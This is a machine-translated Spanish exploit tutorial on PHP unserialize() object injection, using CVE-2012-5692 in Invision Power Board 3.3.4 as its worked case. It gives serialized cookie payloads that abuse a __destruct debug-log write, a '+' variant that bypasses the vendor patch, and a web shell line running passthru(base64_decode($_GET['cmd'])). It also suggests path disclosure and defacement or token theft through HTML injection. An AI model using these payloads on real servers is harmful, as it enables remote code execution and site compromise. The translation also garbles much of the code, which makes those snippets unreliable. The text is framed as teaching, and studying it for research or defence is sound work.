Escribiendo Exploits Para las clases de bichos exóticos:
unserialize ()
Tyler Borland (TurboBorland)
Intro
¿Cansado de los mismos artículos de re-hash en la explotación de las inyecciones SQL, XSS, XSRF, Inclusión, desbordamientos básicos, y más del archivo? Soy, por lo que empecé a escribir el material más interesante. Esto comenzó con «Aplicaciones Explotando Modern espacio de usuario de Linux». Un cuento en pasar por modernos explotar mitigaciones y aventuras reales en el mundo x64 sin apagar ASLR. Ahora estoy aquí para presentar una serie llamada «Los exploits de escritura para las clases de bichos exóticos». Esta será aventuras en la explotación de las clases de errores comunes que no se habla con tanta frecuencia. Ellos serán co-presentado con exploits para aplicaciones modernas (2012-2013), asumiendo posiblemente 0 días posibilidades legales con un determinado proveedor, una más fácil de consumir de diapositivas y, como siempre, una pitón en armas explotan. Disfrute!
Parte 1.) unserialize
La primera parte de esta serie será en la escritura de exploits para unserialize () vulnerabilidades en PHP. Esta clase de errores es realmente el bebé de Stefan Esser y un montón de trabajo preliminar se ha cubierto desde 2009 por él y su obra «Noticias impactantes en PHP Explotación». Sin más preámbulos, vamos a entrar en ella.
Qué es Serialize y unserialize?
Serialize () genera una representación de cadena de valores de PHP. Se utiliza para almacenar o pasar alrededor de estos valores para su uso posterior. Serialize maneja todos los valores PHP a excepción de los recursos (referencias a recursos externos). Por otro lado, unserialize () toma esta cadena y se recuperan los valores de PHP.
El tema y la Advertencia
unserialize () experimenta problemas de inyección controlados por el usuario típico tanto como SQLi y XSS. En la página unserialize, vemos la advertencia:
«no pasan la entrada del usuario no es de confianza para unserialize () Unserialization puede resultar en código que se carga y se ejecuta debido a la creación de instancias de objetos y carga automática de clases, y un usuario malicioso. puede ser capaz de explotar esta …. «
Aprendizaje Explotación The Hard Way: Abusar Aplicaciones Reales
A fin de orientar adecuadamente a alguien a través explotación, necesitaremos una vulnerabilidad real en un escenario realista. Para ello, vamos a echar un vistazo a Invision Power Board 3.3.4. De acuerdo con CVE-2012-5692, 3.1.x Invision Power Board a 3.3.4 incluido es vulnerable a un unserialize controlada por el usuario () string. La descripción sobre la vulnerabilidad en http://secunia.com/advisories/51104 es:
«La vulnerabilidad es causada debido a la admin / fuentes / base / script core.php utilizando el» unserialize ( ) «la función con entrada controlada por el usuario. Esto puede ser explotado para por ejemplo crear un archivo de caché con código PHP arbitrario a través del» __destruct () «método de la» dbMain () «clase a través de un objeto serializado especialmente diseñado enviado en un» Cookie » encabezado.
Una explotación exitosa puede permitir la ejecución de código arbitrario, pero requiere el «short_open_tag» habilitado «.
Por el momento esto se hace, usted debe conseguir un verdadero ejemplo de por qué usted no debe tomar «restricciones» impuestas al corazón.
La vulnerabilidad
Vamos a encontrar la vulnerabilidad en admin / fuentes / base / core.php comenzando en clase IPSCookie, public function get () , a partir de la línea 4012:
static public function get ($ name) [1]
{/ * Comprobar los datos internos primero * /
if (isset (self :: $ _cookiesSet [$ nombre])) {
de retorno automático />
else if (isset ($ _COOKIE [ipsRegistry :: $ ajustes ['cookie_id']. $ name])) [2]
{$ _Value = $ _COOKIE [ipsRegistry :: $ ajustes ['cookie_id'] $ name]; [3]
if (substr ($ _Value, 0, 2) == 'a:'). [ 4]
{volver unserialize (stripslashes (UrlDecode ($ _Value))); [5]
}
demás
{
volver IPSText :: parseCleanValue (urldecode ($ _Value));}
}
else {return false;
}}
La función get ($ name) en [1] consigue un valor de la cookie de nombre dado $ . Se comprueba en [2] para ver si la cookie existe, a continuación, establecer como $ _Value en [3]. Si la cookie comienza con un: (array serializado) en [4] se UrlDecode (), stripslashes () y unserialize los $ _Value en [5].
The Path Vulnerable
Ahora tenemos que saber lo que se requiere para llegar a la ruta de acceso vulnerables y activar la vulnerabilidad. Para ello tendremos que buscar el código para encontrar lo que alcanza IPSCookie :: get. Grep simple viene al rescate aquí:.
Grep IPSCookie :: get-r /
Hay tranquila algunas entradas aquí con uno de mencionar los valores de cookie directamente controladas:
admin / fuentes / classes / session / publicSessions.php: 341
$ cookies ['session_id'] = IPSCookie :: get ('session_id');
$ cookies ['member_id'] = IPSCookie :: get ('member_id');
$ cookies ['pass_hash'] = IPSCookie :: get ('pass_hash');
Si usted lee a través de este archivo (y dada el nombre del archivo), encontramos esta se ejecuta en la clase __ constructo y se activa en la construcción de cualquier usuario y sesión de invitado. Esto significa que no se requiere inicio de sesión y la construcción de una sesión de invitado se disparará el camino a nuestra vulnerabilidad.
Entendiendo el Serialized Cadena
Cuando se busca inicialmente en una cadena serializada de PHP o cualquier forma serializados, las cosas se ven completamente extraño. Sin embargo, es un formato muy fácil cuando usted entiende exactamente lo que está pasando. Cuando enviamos nuestra carga útil, se ve como:
a%3A1%3A%7BO%3A15%3A%22db_driver_mysql%22%3A1%3A%7Bs%3A3%3A%22obj%22%3Ba%3A2%3A%7Bs%3A13%3A%22use_debug_log%22%3Bi%3A1%3Bs%3A9%3A%22debug_log%22%3Bs%3A12%3A%22initdata.php%22%3B%7D%7D%7D
Después de que el proceso de decodificación URL:
a:1:{O:15:»db_driver_mysql»:1:{s:3:»obj»;a:2:{s:13:»use_debug_log»;i:1;s:9:»debug_log»;s:12:»initdata.php»;}}}
Así que esto plantea la cuestión de qué es exactamente lo que está pasando aquí? Al mirar de nuevo en php.net / serializar el primer comentario revela lo que algunos de estos valores significa:
usuario: egingell en sisna punto com
/ *
Anatomía de un serialize () "valor ed:
Cadena s: tamaño: valor;
Entero i: valor,
Boolean
b: valor, (no almacena "verdadero" o "falso", hace store '1 'o '0')
Null N;
Array
a: size: {definición de la clave, la definición de valor; (repetido por elemento)}
O Objeto: strlen (nombre del objeto): Nombre del objeto: el tamaño del objeto : {: strlen (nombre de la propiedad): nombre de la propiedad: s de definición de la propiedad; (repetido por propiedad)} Los valores de cadena
siempre entre comillas dobles
claves de matrices son siempre números enteros o cadenas
"null => 'valor'" equivale a 's: 0: ""; s: 5: "valor", "
" true =>' valor '"equivale a' i: 1; s : 5: "valor", "
" false => 'valor' "equivale a 'i: 0; s: 5:" valor ","
"array (sea cual sea el contenido) = > 'valor' "equivale a una" advertencia de tipo de desplazamiento ilegal "porque no se puede utilizar una matriz />
y de intentar usar un objeto como clave resultará en el mismo comportamiento que el uso de una matriz se
. * /
Con este entendimiento, vamos a romper aparte la carga útil de la explotación:
a: 1: {| matriz con un elemento
O: 15: "db_driver_mysql ": 1: {| Referencia, 15 caracteres de longitud, el nombre" db_driver_mysql ", tiene una propiedad
s: 3:" obj "; | Cadena, 3 caracteres de longitud, el valor" obj "
a: 2 : {| matriz con dos elementos
s: 13: "use_debug_log"; | Cadena, 13 caracteres de longitud, el valor
i: 1; | Valor entero de 1
s: 9
s |; "debug_log": 12: "initdata.php";}}} | Cadena, 12 caracteres de longitud, el valor "initdata.php", dos arreglos finales y un objeto
Esto debería ser suficiente para comprender los valores de la cadena serializada.
Deeper mirada en proceso PHP unserialize
¿Qué pasa con lo que no se menciona en el comentario anterior? Echando un vistazo al código fuente php en ext / standard / var_unserializer.c en el php_var_unserialize (función) a partir de la línea 476:
interruptor (yych) {case />
caso 'O': yy13 Goto;
caso 'N': yy5 Goto;
case 'R': YY2 Goto;
case 'S': Ir yy10;
case 'a': yy11 Goto;
caso 'b': YY6 Goto;
caso 'd': YY8 Goto;
case 'i': yy7 Goto;
caso ' o ': YY12 Goto;
case' r ': yy4 Goto;
caso' s ': yy9 Goto;
caso'} ': Ir yy14;
defecto: Goto yy16 ;
Comparando esto con el comentario anterior, hay algunos que no fueron mencionados y un par de carcasas adicionales. Para ahorrarles el laberinto Goto (termina a yy98), se puede ver en la versión de los proyectos de php.js unserialize para algunos de estos valores extra. A pesar de que no tiene todo lo que, sin duda es más fácil de seguir algunos de la lógica más confuso en la fuente de php. http://phpjs.org/functions/unserialize/
Así que lo que tenemos de que no fue mencionado en el sitio php.net?
caso
'O': | O: puede ser seguido por un + con O: +
case 'R': | R: #, que se utiliza como Número de referencia (diversión con referencia a sí misma) caso />
ONRS tienen cada uno las formas mayúsculas y minúsculas
Nuevo en PHP: Automatizado de Ataque
Con una sólida comprensión del formato serializado PHP, vamos a ver que la advertencia de nuevo:
«Unserialization puede resultar en código que se carga y se ejecuta debido a la creación de instancias de objetos y carga automática»
Así que ahora que definir algunas cosas. Instanciación es cuando una clase se convierte en un objeto mediante la creación de una instancia de la clase en la memoria. Por eso, cuando en realidad se llama nueva clase (), clase () es ahora un objeto instanciado.
La carga automática es donde la verdadera bestia entra en juego. Esto permite a un desarrollador para llamar objetos instanciados desde cualquier ubicación. Este nació de estilo OOP de PHP. Al permitir que este formato de carga automática, el desarrollador no está obligado a requerir (_once) / include () _once varias bibliotecas en todas las páginas que podrían ser necesarios. En su lugar, usted amarra una página a autoload estos objetos y utilizarlos a su antojo. Hay funciones que le permiten carga automática de forma manual y los que lo hará de forma automática. Tenga en cuenta que esto puede llevar a vulnerabilidades en sí mismos.
Como desarrollador, puede usar la función mágica __ autoload o uso spl_autoload_register manualmente las bibliotecas de carga automática. Para obtener más información sobre estas funciones y cómo usarlos visite http://php-autoloader.malkusch.de/en/.
Un poco más interesante es la cantidad de funciones que iniciará el cargador automático para usted. Estas funciones son:
call_user_func ()
call_user_func_array ()
class_exists ()
class_implements ()
class_parents ()
class_uses ()
get_class_methods ()
get_class_vars ()
get_parent_class ()
interface_exists ()
is_a ()
is_callable ()
is_subclass_of ()
method_exists ()
property_exists ()
spl_autoload_call ()
trait_exists ()
Como se ha dicho, estos pueden introducir vulnerabilidades en sí y por sí mismos. Para obtener más información sobre esta investigación y donde esta lista fue retirado, por favor visite http://hakre.wordpress.com/2013/02/10/php-autoload-invalid-classname-injection/.
Tomando ventaja de «Magic»
magos Alright, ahora debería entender la mayor parte de la cuestión. Sin embargo, el proceso unserialization sólo convierte una cadena serializada en valores de PHP. No se puede llamar necesariamente funciona para usar estos valores, a menos unserialize_callback_func se establece. Todavía son pocos los valores, así que ¿cómo podemos tomar ventaja de estos valores? Abusamos de algo que se llama funciones mágicas.
funciones mágicas son funciones que se ejecutan automáticamente cuando ciertos eventos / acciones suceden. Esto nos permite ir a una función con nuestros valores PHP actuales. Echando un vistazo a http://php.net/manual/en/language.oop5.magic.php debería ver una buena lista de funciones mágicas. Estos son __ construct (), __ destruct (), __ call (), __ callStatic (), __ get (), __ set (), __ isset (), __ unset (), __ sleep (), __ wakeup (), __ toString (), __ invoke (), __set_state () y __ clone (). Así que cuando hacen estos se llaman?
Como se ve, la mayoría de ellos son llamados en el acceso no válido temas y están hechos para ser utilizados para solucionar los problemas de acceso. Teniendo en cuenta que, sí tenemos un poco de magia de utilidad genérica de revisar primero. Eso es __ wakeup y __ destruct.
__construct ()
se llama cuando se crea una nueva objeto .
__destruct ()
Se llama cuando no hay más referencias a un oponerse o cuando un objeto se destruye manualmente. Además, cuando termina la secuencia de comandos, todos los destructores son llamados. Esto se conoce aún si se le dio la salida () / salida, a menos que se le da en el interior del destructor
sucede cuando se intenta invocar un método inaccesible en un contexto del objeto
Ex..: $ obj = newMethod, $ obj-> inaccesible ();
__callStatic ()
Igual __ call, pero en un contexto estático
Ex:. Método :: inaccesible ();
__get ()
Se activa al escribir datos en propiedades inaccesibles.
__set ()
Se activa cuando la lectura de datos de propiedades inaccesibles.
__isset ()
Cuando isset () o empty () es llamado en las propiedades inaccesibles.
__unset ()
Cuando unset () se utiliza en las propiedades inaccesibles.
__sleep ()
Esta función se ejecuta antes de la serialización de dar tiempo extra para terminar los valores posiblemente pendientes a serializar. Por lo general, sólo devuelve una matriz de nombres de variable para el objeto.
__wakeup ()
Unserialize () activa este para permitir la reconstrucción de los recursos que se utilizarán en conjunción con o necesario para los valores de PHP decodificados de vuelta.
__toString ()
Esto desencadena cuando tratas a una clase como una cadena. Antes de PHP 5.2.0 sólo echo o print podría desencadenar este. Ahora puede suceder en cualquier contexto cadena como printf
Ex:.. Echo $ clase;
__invoke ()
Hit cuando se trata de llamar a un objeto como una función
Ex: $ la clase ("hola");
__set_state)
Cuando una clase es exportado por var_export, este se ejecuta (. Esto sólo contendrá un array de las propiedades de la clase exportados.
__clone ()
La función corrió al clonar un objeto.
La función mágico __ wakeup () es, de nuevo, que se llama cuando unserialize () es llamado. Se puede utilizar para establecer y llamar a las funciones de iniciación para los valores de PHP. Según http://www.php.net/manual/en/language.oop5.magic.php # object.wakeup:
"La intención de __ wakeup () es reestablecer cualquier conexión a base de datos que puede haber perdido durante la serialización y ejecutar otras tareas de reinicialización. "
public function __ wakeup () {
$ this-> connect ();}
... private function connect ()
{$ this-> enlace = mysql_connect ($ this-> servidor, $ this-> nombre de usuario, $ this-> contraseña);
mysql_select_db ($ this-> db, $ this -> enlace);}
Este estilo podría darnos algunas opciones, pero ¿qué pasa __ destruct? La función mágica __ destruct () se puede utilizar para fijar y registrar datos interesantes (como las excepciones hayan sido capturados y que expidan un destructor para registrar los datos de los malos). Esto también es probable que los datos guardados de limpieza como la eliminación de archivos de registro (unset ($ archivo)).
Además de las funciones mágicas genéricamente útiles, podría haber problemas relacionados específicos de vulnerabilidad que pueden ampliar la cantidad de funciones mágicas utilizables. Un estudio de caso con un formato de presentación para un problema de este tipo puede verse en http://prezi.com/5hif_vurb56p/php-object-injection-revisited/.
Encontrar a la magia
Con nuestro conocimiento de mágico delicioso funciones, ahora de encontrar uno al abuso. Para ello es necesario conocer la superficie de ataque. Aparte del código fuente del producto, lo que los marcos son utilizados por el servidor web, cualquier plugins adicionales / complementos de segunda mano, el software conjuntamente, y etc se acaba de quedar pegadas con el código fuente Invision Power Board por ahora, pero es bueno saber ¿qué otra cosa puede ser (ab) usa.
Con el código IPB funciones útiles y grep fácilmente disponibles, lo mágicas están disponibles para nosotros? Un simple grep __ magia-r. / Funcionará por ahora. Obviamente, mejor grep de una sola línea se pueden hacer para eliminar las entradas inútiles, comentarios, expresiones regulares para todas las funciones de magia y mucho más. Entonces, ¿qué tenemos que ver contigo código IPB?
Aparte de ser sólo capaz de eliminar un archivo arbitrario, ips_kernel / classDb.php tiene una interesante __ destruct. Dependiendo de la etapa de cierre, la función de consulta () con control $ q está disponible. WriteDebugLog suena como una función interesante, vamos a ver un poco de ese código relevante:
ips_kernel / classXmlRpc.php
xml_parser_free ($ this-> parser);
ips_kernel / classImageImagemagick.php
if (is_file ($ this-> temp_file)) { @ unlink ($ this-> temp_file);.
* Con esto, tenemos la capacidad de eliminar un archivo arbitrario dentro del contexto correspondiente permiso
ips_kernel / classEmail.php
if ($ this- > mail_method == 'smtp') {$ this-> _smtpDisconnect ();
ips_kernel / classFtp.php
@ ftp_close ($ this-> stream);
admin / fuentes / classes / salida / publicOutput.php
if (($ get_class este)! = 'output') {return
* Esto devolverá el nombre de la clase.
admin / sources / loginauth / ldap / auth.php
if ($ this-> connection_id) {ldap_unbind ($ this-> connection_id);
ips_kernel / classDb.php
public function __ destruct () {
$ this-> return_die = true;
if (count ($ this-> obj ['shutdown_queries'])) {
foreach ($ this-> obj ['shutdown_queries' ] as $ q)
{$ this-> query ($ q);}
} $ this-> writeDebugLog ('{end}', '','');
$ this-> obj ['shutdown_queries'] = array ();
$ this-> Desconectar ();}
ips_kernel / classDb.php:
writeDebugLog función pública ($ consulta, $ data, $ tiempo del fin, $ fileToWrite = ' ', $ Backtrace = FALSO)
{$ fileToWrite = ($ fileToWrite)? $ FileToWrite: $ this-> obj ['debug_log'];
... else if ($ consulta == '{end}' AND ($ this-> obj ['use_debug_log'] Y $ this-> obj ['debug_log'])) {
$ _string = " n ======================= ================================================== ===== ";.
$ _string =" n ========================= FIN ====== ============================= ";.
$ _string =" n ======== ================= ". $ _SERVER ['PHP_SELF']. "?" . $ _SERVER ['QUERY_STRING']. "===================================";.
$ _string = " N = ================================================== =========================== ";}
... if ($ _string Y $ FH = @ fopen ($ fileToWrite, 'a')) {
@ fwrite ($ FH, $ _string);
@ fclose ($ FH);}
Esto se ve mejor y mejor! Con nuestra capacidad de controlar los valores de PHP, causar una función mágica __ destruct, parece que tenemos un nombre de fichero controlada y una escritura semi-controlado ($ _SERVER ['QUERY_STRING']).
poner las piezas juntas
Por lo tanto, es esta carga automáticamente y podemos llegar al destructor? Vamos a seguir el flujo:
index.php />
IpsRegistry.php require_once />
$ classname = "db_driver_". $ Db_driver;
self :: $ dbObjects [$ clave] = new $ classname;
* En este punto, db_driver_mysql ahora se crea una instancia y un objeto disponible
ClassDbmysql.php. require_once (dirname (__ FILE__) '/ classDb.php'.);
* Ahora classDb clases están disponibles por la clase instanciada antes
¡Consigamos de serie.!
Ahora que sabemos que la vulnerabilidad, cómo llegar a la ruta de acceso vulnerables a desencadenar la vulnerabilidad, lo que abusar, y cómo funciona todo en conjunto, sólo tenemos que construir la carga útil serializado. Vamos a hacer eso ahora.
En primer lugar, el código fuente IPB tiene un requisito que debe ser llenado. Si recuerdas el código de la vulnerabilidad, hay un cheque por la cadena a empezar con una matriz:
if (substr ($ _Value, 0, 2) == 'a:')
punto de partida lo suficientemente simple, a: 1: {.
db_driver_mysql es el objeto con instancias que eventualmente llega a dbMain por su destrucción. __ Vamos a llenar en el que el valor del objeto. a: 1: {O: 15: "db_driver_mysql": 1: {.
Con el fin de concretar nuestro nombre controlado y escritura semi-controlado, necesitamos $ obj y una serie de dos elementos. Uno a booleano permite use_debug_log y otro para establecer debug_log nombre del archivo:
$ fileToWrite = ($ fileToWrite)? $ FileToWrite: $ this-> obj ['debug_log'];
($ this-> obj ['use_debug_log'] Y $ this-> obj ['debug_log'])
a:1:{O:15:"db_driver_mysql":1:{s:3:"obj";a:2:{s:13:"use_debug_log";i:1;s:9:"debug_log";s:6:"hi.php";}}}
blues hacer parches
Un parche fue lanzado por IPB más tarde para incluir una comprobación de expresiones regulares extra en el objeto serializado controlada. Este cheque fue:
else if (preg_match ('/ (^ |, | {|}) O: [0-9] + "/"!, $ Serializado))
Si recuerda bien, cuando se busca profundizar en el proceso de unserialize PHP, O:.. no tiene que ser seguido sólo por un número puede ir seguido de un + El nuevo exploit para eludir este parche es una cambio de carácter:
a:1:{O:+15:"db_driver_mysql":1:{s:3:"obj";a:2:{s:13:"use_debug_log";i:1;s:9:"debug_log";s:6:"hi.php";}}}
tapón de la demostración locura
Con nuestro payload listo, ¿qué es lo que escribimos y qué es lo que escribimos? La combinación de $ _SERVER ['QUERY_STRING '] con los signos de igual circundantes en la cadena semi-controlado presenta un tapón de la demostración molesto para un gran control $ _SERVER [.' QUERY_STRING '] muere en los espacios en blanco de estos caracteres, de acuerdo a recortar (página), son:.
"" (ASCII 32 (0x20)), un espacio en blanco.
" t" (ASCII 9 (0x09)), una ficha.
" n" (ASCII 10 ( 0x0A)), una nueva línea (salto de línea).
" r" (ASCII 13 (0x0D)), un retorno de carro.
"" (ASCII 0 (0x00)), el NUL bytes .
" x0B" (ASCII 11 (0x0B)), una pestaña vertical.
Los signos igual son la siguiente etapa para destruir lo que podría haber sido una hermosa bestia. Con un entorno controlado nombre de archivo para fopen (), se podría potencialmente abusar de filtros de secuencia para descodificar los datos codificados y moverse por la necesidad de espacio. Eche un vistazo a los filtros de conversión a los http://php.net/manual/en/filters.convert.php para más información . Por supuesto, ambos mueren con signos iguales salvajes. convert.base64-decode morirá cuando un signo de igualdad está en el medio de la cadena. Luego, convert.quoted-printable-decode morirá cuando un signo igual no se sigue por una representación hexadecimal. Así == hará que se muera. Aunque line-break-chars podría ser el salvador de la inyección, que no era capaz de conseguir que funcione con los flujos dados.
pegándolo a la demostración tapón />
A pesar de los problemas antes mencionados, todavía hay mucho espacio para maniobrar. A medida que el asesor indicó, las inyecciones de etiquetas cortas son posibles. Así que este trabajará:
<$ cmd = passthru (base64_decode ($ _GET ['cmd']));?>
Si bien esto está activado por defecto en php . ini dado el código fuente php, mi prueba del servidor de Windows XAMPP tenía discapacitados. Además, siempre es bueno encontrar una solución más universal en el caso de que llegue el momento.
He intentado varias inyecciones con comentarios. Para ejemplo comenzando un comentario como php / * y termina antes de la inyección siguiente controlada. Aunque los intérpretes en línea estaban trabajando libremente con esto, entorno real no era tan feliz y me obligó a usar un espacio. Del que se rompe por QUERY_STRING restricciones de espacio en blanco . No hubo suerte allí.
Podríamos hacer del sistema operativo inyecciones dependientes. La escritura se puede dar la ruta completa y anexar datos fuera de Webroot y podríamos añadir o crear scripts de shell / lote contextualmente al nivel de permiso de servidor . Escriba a un script de inicio / reinicio y pisar la caja con una mala anexados. Estos scripts ignorarán los caracteres como comandos no válidos y podríamos simplemente envolver los comandos como $ (ls) en linux. Sin embargo, una vez más esto no es realmente amable y queremos una solución más universal.
Después de una lluvia de ideas con DiabloHorn y haciendo todo tipo de cosas estúpidas, que hemos llegado a una solución! A partir de PHP 5.4.0, lanzado marzo de 2012 (después de la vulnerabilidad descubierta . finales de 2012), algo emocionante fue lanzado acuerdo con la lista de cambios en http://php.net/ChangeLog-5.php, hay una línea de salvador:
"<= es ahora siempre disponible? ., independientemente del ajuste short_open_tag "
Así que incluso si short_tag_open no se ha habilitado en php.ini, todavía podemos crear una inyección que no requiere espacios, por ejemplo:
<= $ cmd = passthru (base64_decode ($ _GET ['cmd']));???>
Otras posibilidades de inyección
Como hay que mencionar, todavía existe la posibilidad de que el servidor utilizando el Zend Framework, o al menos una parte importante de la misma. Este es el más universalmente conocido de-facto __ estilo destrucción de carga útil a todos copiar + pegar de. Esto incluye Metasploit , VUPEN, Inmunidad, y muchas hazañas unserialize en la naturaleza que no sólo eliminar archivos arbitrarios. Aprovecha objeto Zend_Pdf_ElementFactory_Proxy de Zend Framework y es ciertamente poderoso y temible. No hay razón para regurgitar cómo funciona, incluso si pudiera de alguna manera explicar mejor que la presentación de Esser A estas alturas ya debería ser capaz de seguir adelante sin ningún problema por favor lea lo siguiente si usted está interesado:..
http://www.suspekt.org/downloads/POC2009- ShockingNewsInPHPExploitation.pdf
Para poder utilizar este exploit, se requiere una ruta completa donde para crear el archivo. Esto significa que se necesita una divulgación ruta completa. Normalmente esto no es un problema, y con nuestra actual Control unserialize, no es un problema aquí.
He encontrado un FPD con sólo jugar con arrays (varias funciones no esperan una matriz) y dentro de un minuto apareció cabo una FPD. Lo que sigue es una forma para obtener la ruta completa:
index.php aplicación [] = miembros & module = sección y perfil = dname & id = 1 Warning: trim () espera parámetro de 1 a ser cadena, matriz dada en C: xampp-portátiles htdocs invision admin sources base ipsRegistry.php on line 1774 />
Incluso sin un FPD personalizado (o se signatured más adelante, cuando esta se libera), entre nuestro controlada $ _SERVER [' .. QUERY_STRING '] y el signo de igualdad es un espacio único Inyectando sólo un
Así que, digamos que usted necesita algo universal que no es específica del sistema operativo, Zend Framework no se utiliza, no hay otro ataque aumento de superficie con marcos / plugins se utilizan, las etiquetas cortas no está activado, y PHP <5.4.0. Ahora ¿qué podemos hacer? />
No se puede utilizar XML Entidades externas a causa de tapón de la demostración. Bueno, aún existe la posibilidad de inyección de HTML para robar fichas, realice XSRF, etc Sólo hay un problema que es la mayoría de los archivos son PHP y, o bien no terminan su PHP o llamar a exit ();. Esto tampoco da un error o no se ejecuta. Así que el objetivo es encontrar cualquier tipo de localizaciones de inyección útiles. El todopoderoso grep al rescate una vez más!
for i in $ (grep ">"-r. / . ">". |; - l-exclude = * png) hago si tail-n 5 $ grep-i q, y luego echo $ i; fi; hecho
/ conf_global.php
. / dav.php
. / interface / facebook / index.php
. / interface / facebook / channel.php
. /
initdata.php. / ips_kernel / HTMLPurifier / HTMLPurifier/Lexer/PH5P.php
. / ips_kernel / facebook-cliente / jsonwrapper / JSON / JSON.php
./ips_kernel/i18n/ConvertCharset.class.php ./ips_kernel/pop3class / parse_message.php
./ips_kernel/pop3class/pop3.php ./ips_kernel/pop3class/test_pop3.php
./ips_kernel/pop3class/browse_mailbox.php. / ips_kernel / twitter / OAuth.php
. / ips_kernel / class_xml.php
. / ips_kernel / PEAR / JSON / JSON.php
./admin/js/3rd_party/jquery.min.js
. / admin / sources / loginauth / live / lib / windowslivelogin.php
. / admin / install / index.php
. / admin / setup / aplicaciones / actualización / secciones / overview.php
. / admin / setup / xml / skins / replacements_xmlskin.xml
Después de todos esos archivos, sólo dos son lugares de inyección, ya sea válida o universalmente aceptables. Ambos apuntan al mismo lugar y son initdata.php y conf_global.php. Ambos se ejecutan al ver index.php. Ahora, el fopen es en modo de adición, por lo que los datos se escriben en la parte inferior de las páginas PHP, que se mostrará y se inyecta en la parte superior de la página real. Esto significa que es un poco más evidente debido a los caracteres de tope muestran ASCII. Esto también se romperá el diseño en el navegador IE. Si realmente quieres usarlo y no ser obvio sobre la inyección (defacers no necesitan preocuparse aquí ), tendrás que agarrar dinámicamente la página en la vista, enjuague el contenido de la página actual y el uso document.write (String.fromCharCode ()) para volver a escribir la página. También puede utilizar un poco de magia de CSS y ocultar / capa sobre la área de la inyección visible o simplemente redirigir a una copia espejo en su propio servidor, esto es todo limitado a su imaginación inyección HTML.
Finales y Varios. Ideas
A veces toda esta locura, simplemente no es necesaria en función de la vulnerabilidad. Sobre la base de la ubicación y el flujo de la lógica, simplemente podría abusar de cómo se utilizan los objetos decodificados de vuelta. Por ejemplo, los datos de revertir la seriación para la autenticación. Aunque esto no es un probable escenario, algunos errores son simplemente "especial" en su aplicación.
Porque usted puede fácilmente ensucie con el flujo de PHP intérprete y tipos de datos, las cuestiones de interpretación pueden convertirse en un problema. Si se miraba en el código fuente en ext / standard / var_unserializer.c en función php_var_serialize () que le de cuenta de la utilización de unos contadores de referencia par Esto puede conducir a mucho más interesante y hazañas impresionantes como su uso después de forma gratuita, como se ve con Stefan Esser SplObjectStorage UAF:.
http://php-security.org/2010/06/25/mops-2010-061-php-splobjectstorage-deserialization-use-after-free-vulnerability/
En general, estos son mucho más específicos a las versiones de PHP y requiere obstáculos adicionales para usar, como se ha visto con el SplObjectStorage UAF.
El Exploit